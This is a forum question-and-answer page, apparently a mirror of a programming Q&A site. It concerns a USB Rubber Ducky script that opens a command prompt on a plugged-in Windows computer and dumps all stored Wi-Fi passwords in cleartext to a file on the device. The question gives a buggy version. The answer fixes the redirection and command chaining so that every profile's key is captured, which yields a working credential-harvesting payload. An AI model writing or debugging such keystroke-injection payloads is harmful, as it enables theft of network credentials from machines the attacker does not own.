1

我正在创建一个基本的 USB Rubber Ducky 脚本,目的是将计算机存储的 wifi 密码保存到文本文件中。我已经用 TwinDuck 刷新了 USB RubberDucky,并且成功地将它用作键盘记录器和大容量存储设备。我的代码在技术上有效,但是,它只将最后存储的配置文件而不是所有配置文件打印到文本文件中。

这是我的代码:

DELAY 100
GUI r
DELAY 100
STRING cmd
ENTER
DELAY 100
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo | netsh wlan show profiles %j key=clear > d:\wifi.txt | type d:\wifi.txt
ENTER

我知道错误与第 7 行中的 for 循环有关,但是我已经在命令提示符下测试了该命令,它会根据需要输出所有存储的配置文件。问题在于将所有输出带到命令提示符并存储到文本文件中。只是为了重申这个问题,它只打印最后一个 Wi-Fi 配置文件。

4

1 回答 1

0

Your loop is built with one > redirection and using pipes where & is better

Thus is constantly building a new file with each entry thus you only get the last one.

use >> in place of > and replacing 2x | with & then you get the full Monty.

DELAY 100
GUI r
DELAY 100
STRING cmd
ENTER
DELAY 100
STRING for /f "skip=9 tokens=1,2 delims=:" %i in ('netsh wlan show profiles') do @echo %j | findstr -i -v echo & netsh wlan show profiles %j key=clear >> d:\wifi.txt & type d:\wifi.txt
ENTER

The problem then becomes each time you run it the list gets longer, so start by nuking the file first.

I leave that to you to decide but the simplest way is first run

if exist d:\wifi.txt del d:\wifi.txt
于 2022-01-15T13:39:21.080 回答